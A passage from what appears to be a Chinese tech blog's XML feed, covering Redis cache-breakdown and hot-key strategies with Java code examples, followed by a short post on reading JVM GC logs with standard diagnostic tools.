href="#1-2-与缓存穿透的区别" class="headerlink" title="1.2 与缓存穿透的区别"></a>1.2 与缓存穿透的区别</h2><table><thead><tr><th>问题</th><th>原因</th><th>数据是否存在</th></tr></thead><tbody><tr><td>缓存穿透</td><td>查询不存在的数据</td><td>数据库也不存在</td></tr><tr><td>缓存击穿</td><td>热点key过期</td><td>数据库存在</td></tr></tbody></table><h2 id="二、缓存击穿解决方案"><a href="#二、缓存击穿解决方案" class="headerlink" title="二、缓存击穿解决方案"></a>二、缓存击穿解决方案</h2><p>#</p><h2 id="2-1-方案一：互斥锁（分布式锁）"><a href="#2-1-方案一：互斥锁（分布式锁）" class="headerlink" title="2.1 方案一：互斥锁（分布式锁）"></a>2.1 方案一：互斥锁（分布式锁）</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HotKeyService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> RedissonClient redisson;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> ProductMapper productMapper;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Product <span class="title function_">getProduct</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;product:&quot;</span> + id;</span><br><span class="line">        <span class="type">String</span> <span class="variable">json</span> <span class="operator">=</span> redis.opsForValue().get(key);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (json != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> JSON.parseObject(json, Product.class);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 获取分布式锁，只有一个线程去查数据库</span></span><br><span class="line">        <span class="type">RLock</span> <span class="variable">lock</span> <span class="operator">=</span> redisson.getLock(<span class="string">&quot;lock:product:&quot;</span> + id);</span><br><span class="line">        <span class="keyword">try</span> &#123;</span><br><span class="line">            <span class="keyword">if</span> (!lock.tryLock(<span class="number">3</span>, <span class="number">10</span>, TimeUnit.SECONDS)) &#123;</span><br><span class="line">                <span class="comment">// 获取锁失败，等待后重试</span></span><br><span class="line">                Thread.sleep(<span class="number">100</span>);</span><br><span class="line">                <span class="keyword">return</span> getProduct(id);  <span class="comment">// 递归重试</span></span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 双重检查</span></span><br><span class="line">            json = redis.opsForValue().get(key);</span><br><span class="line">            <span class="keyword">if</span> (json != <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="keyword">return</span> JSON.parseObject(json, Product.class);</span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            <span class="comment">// 查询数据库</span></span><br><span class="line">            <span class="type">Product</span> <span class="variable">product</span> <span class="operator">=</span> productMapper.findById(id);</span><br><span class="line">            <span class="keyword">if</span> (product != <span class="literal">null</span>) &#123;</span><br><span class="line">                redis.opsForValue().set(key, JSON.toJSONString(product), <span class="number">3600</span>, TimeUnit.SECONDS);</span><br><span class="line">            &#125;</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">return</span> product;</span><br><span class="line">        &#125; <span class="keyword">catch</span> (InterruptedException e) &#123;</span><br><span class="line">            Thread.currentThread().interrupt();</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">        &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">            <span class="keyword">if</span> (lock.isHeldByCurrentThread()) &#123;</span><br><span class="line">                lock.unlock();</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>优点</strong>：</p><ul><li>保证只有一个线程查数据库</li><li>其他线程等待缓存重建</li></ul><p><strong>缺点</strong>：</p><ul><li>获取锁失败的线程需要等待或重试</li><li>有性能损耗</li></ul><p>#</p><h2 id="2-2-方案二：逻辑过期"><a href="#2-2-方案二：逻辑过期" class="headerlink" title="2.2 方案二：逻辑过期"></a>2.2 方案二：逻辑过期</h2><p><strong>原理</strong>：不设置Redis的TTL，而是在value中存储逻辑过期时间</p><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Data</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">RedisData</span> &#123;</span><br><span class="line">    <span class="keyword">private</span> LocalDateTime expireTime;  <span class="comment">// 逻辑过期时间</span></span><br><span class="line">    <span class="keyword">private</span> Object data;               <span class="comment">// 实际数据</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HotKeyService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> ProductMapper productMapper;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> ExecutorService cacheRebuildExecutor;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Product <span class="title function_">getProduct</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;product:&quot;</span> + id;</span><br><span class="line">        <span class="type">String</span> <span class="variable">json</span> <span class="operator">=</span> redis.opsForValue().get(key);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (json == <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">null</span>;  <span class="comment">// 数据从未加载过</span></span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="type">RedisData</span> <span class="variable">redisData</span> <span class="operator">=</span> JSON.parseObject(json, RedisData.class);</span><br><span class="line">        <span class="type">Product</span> <span class="variable">product</span> <span class="operator">=</span> JSON.parseObject(JSON.toJSONString(redisData.getData()), Product.class);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 检查逻辑过期时间</span></span><br><span class="line">        <span class="keyword">if</span> (LocalDateTime.now().isAfter(redisData.getExpireTime())) &#123;</span><br><span class="line">            <span class="comment">// 已过期，需要重建缓存</span></span><br><span class="line">            <span class="comment">// 获取锁（这里用简单的互斥锁）</span></span><br><span class="line">            <span class="type">Boolean</span> <span class="variable">locked</span> <span class="operator">=</span> redis.opsForValue()</span><br><span class="line">                .setIfAbsent(<span class="string">&quot;lock:product:&quot;</span> + id, <span class="string">&quot;1&quot;</span>, <span class="number">10</span>, TimeUnit.SECONDS);</span><br><span class="line">            </span><br><span class="line">            <span class="keyword">if</span> (Boolean.TRUE.equals(locked)) &#123;</span><br><span class="line">                <span class="comment">// 异步重建缓存</span></span><br><span class="line">                cacheRebuildExecutor.execute(() -&gt; &#123;</span><br><span class="line">                    <span class="keyword">try</span> &#123;</span><br><span class="line">                        <span class="type">Product</span> <span class="variable">fresh</span> <span class="operator">=</span> productMapper.findById(id);</span><br><span class="line">                        <span class="keyword">if</span> (fresh != <span class="literal">null</span>) &#123;</span><br><span class="line">                            <span class="type">RedisData</span> <span class="variable">newData</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">RedisData</span>();</span><br><span class="line">                            newData.setExpireTime(LocalDateTime.now().plusSeconds(<span class="number">3600</span>));</span><br><span class="line">                            newData.setData(fresh);</span><br><span class="line">                            redis.opsForValue().set(key, JSON.toJSONString(newData));</span><br><span class="line">                        &#125;</span><br><span class="line">                    &#125; <span class="keyword">finally</span> &#123;</span><br><span class="line">                        redis.delete(<span class="string">&quot;lock:product:&quot;</span> + id);</span><br><span class="line">                    &#125;</span><br><span class="line">                &#125;);</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="comment">// 返回过期数据（保证可用性）</span></span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> product;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 数据预热时设置逻辑过期</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">preheatProduct</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="type">Product</span> <span class="variable">product</span> <span class="operator">=</span> productMapper.findById(id);</span><br><span class="line">        <span class="keyword">if</span> (product != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="type">RedisData</span> <span class="variable">redisData</span> <span class="operator">=</span> <span class="keyword">new</span> <span class="title class_">RedisData</span>();</span><br><span class="line">            redisData.setExpireTime(LocalDateTime.now().plusSeconds(<span class="number">3600</span>));</span><br><span class="line">            redisData.setData(product);</span><br><span class="line">            redis.opsForValue().set(<span class="string">&quot;product:&quot;</span> + id, JSON.toJSONString(redisData));</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><strong>优点</strong>：</p><ul><li>不会阻塞请求（返回旧数据）</li><li>不需要等待缓存重建</li></ul><p><strong>缺点</strong>：</p><ul><li>会返回过期数据（最终一致性）</li><li>实现复杂度高</li><li>需要额外的线程池处理重建</li></ul><p>#</p><h2 id="2-3-方案三：热点Key永不过期"><a href="#2-3-方案三：热点Key永不过期" class="headerlink" title="2.3 方案三：热点Key永不过期"></a>2.3 方案三：热点Key永不过期</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HotKeyService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> ProductMapper productMapper;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 热点key集合（通过监控或配置识别）</span></span><br><span class="line">    <span class="keyword">private</span> Set&lt;String&gt; hotKeys = ConcurrentHashMap.newKeySet();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Product <span class="title function_">getProduct</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;product:&quot;</span> + id;</span><br><span class="line">        <span class="type">String</span> <span class="variable">json</span> <span class="operator">=</span> redis.opsForValue().get(key);</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">if</span> (json != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> JSON.parseObject(json, Product.class);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="type">Product</span> <span class="variable">product</span> <span class="operator">=</span> productMapper.findById(id);</span><br><span class="line">        <span class="keyword">if</span> (product != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="type">long</span> <span class="variable">ttl</span> <span class="operator">=</span> hotKeys.contains(key) ? -<span class="number">1</span> : <span class="number">3600</span>;  <span class="comment">// 热点key永不过期</span></span><br><span class="line">            redis.opsForValue().set(key, JSON.toJSONString(product));</span><br><span class="line">            <span class="keyword">if</span> (ttl &gt; <span class="number">0</span>) &#123;</span><br><span class="line">                redis.expire(key, ttl, TimeUnit.SECONDS);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> product;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 定时更新热点key</span></span><br><span class="line">    <span class="meta">@Scheduled(fixedRate = 60000)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">refreshHotKeys</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="comment">// 从监控系统获取热点key列表</span></span><br><span class="line">        <span class="comment">// 或根据访问频率统计</span></span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 后台定时刷新热点key</span></span><br><span class="line">    <span class="meta">@Scheduled(fixedRate = 300000)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">refreshHotKeyData</span><span class="params">()</span> &#123;</span><br><span class="line">        <span class="keyword">for</span> (String key : hotKeys) &#123;</span><br><span class="line">            <span class="type">Long</span> <span class="variable">id</span> <span class="operator">=</span> extractIdFromKey(key);</span><br><span class="line">            <span class="type">Product</span> <span class="variable">product</span> <span class="operator">=</span> productMapper.findById(id);</span><br><span class="line">            <span class="keyword">if</span> (product != <span class="literal">null</span>) &#123;</span><br><span class="line">                redis.opsForValue().set(key, JSON.toJSONString(product));</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="2-4-方案四：二级缓存"><a href="#2-4-方案四：二级缓存" class="headerlink" title="2.4 方案四：二级缓存"></a>2.4 方案四：二级缓存</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HotKeyService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 本地缓存（Caffeine）</span></span><br><span class="line">    <span class="keyword">private</span> Cache&lt;String, Product&gt; localCache = Caffeine.newBuilder()</span><br><span class="line">        .maximumSize(<span class="number">1000</span>)</span><br><span class="line">        .expireAfterWrite(<span class="number">10</span>, TimeUnit.SECONDS)</span><br><span class="line">        .build();</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> ProductMapper productMapper;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Product <span class="title function_">getProduct</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">key</span> <span class="operator">=</span> <span class="string">&quot;product:&quot;</span> + id;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 1. 查本地缓存</span></span><br><span class="line">        <span class="type">Product</span> <span class="variable">product</span> <span class="operator">=</span> localCache.getIfPresent(key);</span><br><span class="line">        <span class="keyword">if</span> (product != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> product;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 2. 查Redis</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">json</span> <span class="operator">=</span> redis.opsForValue().get(key);</span><br><span class="line">        <span class="keyword">if</span> (json != <span class="literal">null</span>) &#123;</span><br><span class="line">            product = JSON.parseObject(json, Product.class);</span><br><span class="line">            localCache.put(key, product);  <span class="comment">// 放入本地缓存</span></span><br><span class="line">            <span class="keyword">return</span> product;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 3. 查数据库</span></span><br><span class="line">        product = productMapper.findById(id);</span><br><span class="line">        <span class="keyword">if</span> (product != <span class="literal">null</span>) &#123;</span><br><span class="line">            redis.opsForValue().set(key, JSON.toJSONString(product), <span class="number">3600</span>, TimeUnit.SECONDS);</span><br><span class="line">            localCache.put(key, product);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="keyword">return</span> product;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="三、热点Key识别"><a href="#三、热点Key识别" class="headerlink" title="三、热点Key识别"></a>三、热点Key识别</h2><p>#</p><h2 id="3-1-Redis监控命令"><a href="#3-1-Redis监控命令" class="headerlink" title="3.1 Redis监控命令"></a>3.1 Redis监控命令</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># 查看热key（Redis 4.0+）</span></span><br><span class="line">redis-cli --hotkeys</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看bigkey</span></span><br><span class="line">redis-cli --bigkeys</span><br><span class="line"></span><br><span class="line"><span class="comment"># 监控实时命令</span></span><br><span class="line">redis-cli MONITOR</span><br><span class="line"></span><br><span class="line"><span class="comment"># 查看慢查询</span></span><br><span class="line">redis-cli SLOWLOG GET 10</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-2-应用层监控"><a href="#3-2-应用层监控" class="headerlink" title="3.2 应用层监控"></a>3.2 应用层监控</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HotKeyMonitor</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> ConcurrentHashMap&lt;String, AtomicLong&gt; keyAccessCount = <span class="keyword">new</span> <span class="title class_">ConcurrentHashMap</span>&lt;&gt;();</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">recordAccess</span><span class="params">(String key)</span> &#123;</span><br><span class="line">        keyAccessCount.computeIfAbsent(key, k -&gt; <span class="keyword">new</span> <span class="title class_">AtomicLong</span>(<span class="number">0</span>)).incrementAndGet();</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Scheduled(fixedRate = 60000)</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">reportHotKeys</span><span class="params">()</span> &#123;</span><br><span class="line">        List&lt;Map.Entry&lt;String, AtomicLong&gt;&gt; sorted = keyAccessCount.entrySet().stream()</span><br><span class="line">            .sorted((e1, e2) -&gt; Long.compare(e2.getValue().get(), e1.getValue().get()))</span><br><span class="line">            .limit(<span class="number">100</span>)</span><br><span class="line">            .collect(Collectors.toList());</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 上报热点key</span></span><br><span class="line">        <span class="keyword">for</span> (Map.Entry&lt;String, AtomicLong&gt; entry : sorted) &#123;</span><br><span class="line">            System.out.println(<span class="string">&quot;HotKey: &quot;</span> + entry.getKey() + <span class="string">&quot;, Count: &quot;</span> + entry.getValue().get());</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 清空计数</span></span><br><span class="line">        keyAccessCount.clear();</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="3-3-使用Redis监控工具"><a href="#3-3-使用Redis监控工具" class="headerlink" title="3.3 使用Redis监控工具"></a>3.3 使用Redis监控工具</h2><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="comment"># redis-faina（分析MONITOR输出）</span></span><br><span class="line">redis-cli MONITOR | <span class="built_in">head</span> -n 10000 | redis-faina</span><br><span class="line"></span><br><span class="line"><span class="comment"># 输出热点key统计</span></span><br></pre></td></tr></table></figure><h2 id="四、热点Key解决方案"><a href="#四、热点Key解决方案" class="headerlink" title="四、热点Key解决方案"></a>四、热点Key解决方案</h2><p>#</p><h2 id="4-1-热点Key分散"><a href="#4-1-热点Key分散" class="headerlink" title="4.1 热点Key分散"></a>4.1 热点Key分散</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="comment">// 将热点key分散到多个key上</span></span><br><span class="line"><span class="meta">@Service</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HotKeyService</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> <span class="keyword">static</span> <span class="keyword">final</span> <span class="type">int</span> <span class="variable">HOT_KEY_SHARD_COUNT</span> <span class="operator">=</span> <span class="number">10</span>;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Product <span class="title function_">getProduct</span><span class="params">(Long id)</span> &#123;</span><br><span class="line">        <span class="comment">// 对热点key使用多个副本</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">baseKey</span> <span class="operator">=</span> <span class="string">&quot;product:&quot;</span> + id;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 先查主key</span></span><br><span class="line">        <span class="type">String</span> <span class="variable">json</span> <span class="operator">=</span> redis.opsForValue().get(baseKey);</span><br><span class="line">        <span class="keyword">if</span> (json != <span class="literal">null</span>) &#123;</span><br><span class="line">            <span class="keyword">return</span> JSON.parseObject(json, Product.class);</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 如果是热点key，查副本</span></span><br><span class="line">        <span class="keyword">if</span> (isHotKey(baseKey)) &#123;</span><br><span class="line">            <span class="type">int</span> <span class="variable">shard</span> <span class="operator">=</span> ThreadLocalRandom.current().nextInt(HOT_KEY_SHARD_COUNT);</span><br><span class="line">            <span class="type">String</span> <span class="variable">shardKey</span> <span class="operator">=</span> baseKey + <span class="string">&quot;:&quot;</span> + shard;</span><br><span class="line">            json = redis.opsForValue().get(shardKey);</span><br><span class="line">            <span class="keyword">if</span> (json != <span class="literal">null</span>) &#123;</span><br><span class="line">                <span class="keyword">return</span> JSON.parseObject(json, Product.class);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// ... 查数据库并写入</span></span><br><span class="line">        <span class="keyword">return</span> <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="comment">// 写入时写多个副本</span></span><br><span class="line">    <span class="keyword">public</span> <span class="keyword">void</span> <span class="title function_">setProduct</span><span class="params">(Product product)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">baseKey</span> <span class="operator">=</span> <span class="string">&quot;product:&quot;</span> + product.getId();</span><br><span class="line">        <span class="type">String</span> <span class="variable">json</span> <span class="operator">=</span> JSON.toJSONString(product);</span><br><span class="line">        </span><br><span class="line">        redis.opsForValue().set(baseKey, json, <span class="number">3600</span>, TimeUnit.SECONDS);</span><br><span class="line">        </span><br><span class="line">        <span class="comment">// 如果是热点key，写多个副本</span></span><br><span class="line">        <span class="keyword">if</span> (isHotKey(baseKey)) &#123;</span><br><span class="line">            <span class="keyword">for</span> (<span class="type">int</span> <span class="variable">i</span> <span class="operator">=</span> <span class="number">0</span>; i &lt; HOT_KEY_SHARD_COUNT; i++) &#123;</span><br><span class="line">                redis.opsForValue().set(baseKey + <span class="string">&quot;:&quot;</span> + i, json, <span class="number">3600</span>, TimeUnit.SECONDS);</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>#</p><h2 id="4-2-本地缓存-Redis"><a href="#4-2-本地缓存-Redis" class="headerlink" title="4.2 本地缓存+Redis"></a>4.2 本地缓存+Redis</h2><figure class="highlight java"><table><tr><td class="code"><pre><span class="line"><span class="meta">@Component</span></span><br><span class="line"><span class="keyword">public</span> <span class="keyword">class</span> <span class="title class_">HotKeyLocalCache</span> &#123;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> LoadingCache&lt;String, Object&gt; localCache = Caffeine.newBuilder()</span><br><span class="line">        .maximumSize(<span class="number">10000</span>)</span><br><span class="line">        .expireAfterWrite(<span class="number">5</span>, TimeUnit.SECONDS)</span><br><span class="line">        .refreshAfterWrite(<span class="number">3</span>, TimeUnit.SECONDS)</span><br><span class="line">        .build(key -&gt; loadFromRedis(key));</span><br><span class="line">    </span><br><span class="line">    <span class="meta">@Autowired</span></span><br><span class="line">    <span class="keyword">private</span> StringRedisTemplate redis;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">private</span> Object <span class="title function_">loadFromRedis</span><span class="params">(String key)</span> &#123;</span><br><span class="line">        <span class="type">String</span> <span class="variable">json</span> <span class="operator">=</span> redis.opsForValue().get(key);</span><br><span class="line">        <span class="keyword">return</span> json != <span class="literal">null</span> ? JSON.parse(json) : <span class="literal">null</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">public</span> Object <span class="title function_">get</span><span class="params">(String key)</span> &#123;</span><br><span class="line">        <span class="keyword">return</span> localCache.get(key);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h2 id="五、方案对比"><a href="#五、方案对比" class="headerlink" title="五、方案对比"></a>五、方案对比</h2><table><thead><tr><th>方案</th><th>优点</th><th>缺点</th><th>适用场景</th></tr></thead><tbody><tr><td>互斥锁</td><td>简单有效</td><td>有等待时间</td><td>一般场景</td></tr><tr><td>逻辑过期</td><td>不阻塞</td><td>返回旧数据</td><td>高可用优先</td></tr><tr><td>永不过期</td><td>简单</td><td>需要刷新机制</td><td>配置型热点key</td></tr><tr><td>二级缓存</td><td>性能最好</td><td>数据一致性</td><td>极高并发</td></tr></tbody></table><h2 id="六、总结"><a href="#六、总结" class="headerlink" title="六、总结"></a>六、总结</h2><p>缓存击穿防御策略：</p><ol><li><strong>互斥锁</strong>：保证只有一个线程重建缓存</li><li><strong>逻辑过期</strong>：不阻塞请求，异步重建</li><li><strong>热点key永不过期</strong>：后台定时刷新</li><li><strong>二级缓存</strong>：本地缓存+Redis</li></ol><p>热点Key处理策略：</p><ol><li><strong>监控识别</strong>：及时发现热点key</li><li><strong>key分散</strong>：多个副本分担压力</li><li><strong>本地缓存</strong>：减少Redis访问</li><li><strong>读写分离</strong>：多个Slave分担读压力</li></ol><p>核心原则：</p><ul><li>预防为主：合理设置过期时间，避免同时过期</li><li>分级防御：本地缓存 → Redis → 数据库</li><li>监控告警：及时发现热点和击穿</li><li>降级保护：异常情况保护数据库</li></ul><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>String：简单的键值对，适合缓存、计数器</p></li><li><p>Hash：存储对象属性，适合用户信息、配置</p></li><li><p>List：有序列表，适合消息队列、最新列表</p></li><li><p>Set：无序去重，适合共同好友、抽奖</p></li><li><p>ZSet：有序集合，适合排行榜、积分系统</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>选择合适的数据结构是使用 Redis 的关键。在实际项目中，根据业务需求选择合适的类型，可以提升性能和开发效率。</p>]]></content>
      
      
      <categories>
          
          <category> Redis </category>
          
      </categories>
      
      
        <tags>
            
            <tag> Redis </tag>
            
            <tag> 缓存 </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>GC 日志怎么看才有用</title>
      <link href="//gc-ri-zhi-zen-me-kan-cai-you-yong/"/>
      <url>//gc-ri-zhi-zen-me-kan-cai-you-yong/</url>
      
        <content type="html"><![CDATA[<h1 id="GC-日志怎么看才有用"><a href="#GC-日志怎么看才有用" class="headerlink" title="GC 日志怎么看才有用"></a>GC 日志怎么看才有用</h1><p>GC 日志看起来乱，关键是找准几个核心指标。很多开发者面对 GC 日志不知道该关注什么。本文从实际调优经验出发，讲需要关注什么、忽略什么，帮你快速定位问题。</p><h2 id="先看现象，不要急着改参数"><a href="#先看现象，不要急着改参数" class="headerlink" title="先看现象，不要急着改参数"></a>先看现象，不要急着改参数</h2><p>JVM 问题常见现象有：CPU 飙高、频繁 Full GC、接口变慢、内存溢出。处理时先收集证据：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line">jps -l</span><br><span class="line">top -Hp &lt;pid&gt;</span><br><span class="line">jstat -gcutil &lt;pid&gt; 1000 10</span><br><span class="line">jmap -histo &lt;pid&gt; | <span class="built_in">head</span> -30</span><br></pre></td></tr></table></figure><p>如果是 CPU 高，把线程 id 转成十六进制后，用 <code>jstack</code> 找对应线程：</p><figure class="highlight bash"><table><tr><td class="code"><pre><span class="line"><span class="built_in">printf</span> <span class="string">&#x27;%x\n&#x27;</span> &lt;tid&gt;</span><br><span class="line">jstack &lt;pid&gt; | grep -A 30 <span class="string">&#x27;&lt;hexTid&gt;&#x27;</span></span><br></pre></td></tr></table></figure><h2 id="GC-日志怎么看"><a href="#GC-日志怎么看" class="headerlink" title="GC 日志怎么看"></a>GC 日志怎么看</h2><p>不要只看“发生了 GC”，重点看频率、停顿时间、回收前后内存变化。如果每次回收后老年代仍然很高，可能是对象长期被引用，需要继续分析堆。</p><h2 id="小白可以怎么练"><a href="#小白可以怎么练" class="headerlink" title="小白可以怎么练"></a>小白可以怎么练</h2><p>本地写一个不断往 List 里放对象的 demo，故意触发 OOM，然后用 <code>jmap</code> 导出堆文件，用 MAT 或 VisualVM 看最大对象是谁。练过一次，线上看到类似问题就不会慌。</p><h2 id="核心要点"><a href="#核心要点" class="headerlink" title="核心要点"></a>核心要点</h2><ol><li><p>关注 Minor GC 和 Full GC 的频率和耗时</p></li><li><p>年轻代晋升到老年代的对象大小和频率</p></li><li><p>GC 前后的内存使用变化</p></li><li><p>使用 jstat、jmap、jvisualvm 等工具辅助分析</p></li></ol><h2 id="总结"><a href="#总结" class="headerlink" title="总结"></a>总结</h2><p>GC 调优是一个持续的过程，没有一劳永逸的方案。需要结合业务特点、数据量、响应时间要求来调整。理解 GC 日志是调优的第一步。</p>]]></content>
      
      
      <categories>
          
          <category> JVM </category>
          
      </categories>
      
      
        <tags>
            
            <tag> JAVA </tag>
            
            <tag> JVM </tag>
            
        </tags>
      
    </entry>
    
    
    
    <entry>
      <title>Redis缓存穿透与解决方案</title>
      <link href="//redis-cache-penetration-solution/"/>
      <url>//redis-cache-penetration-solution/</url>
      
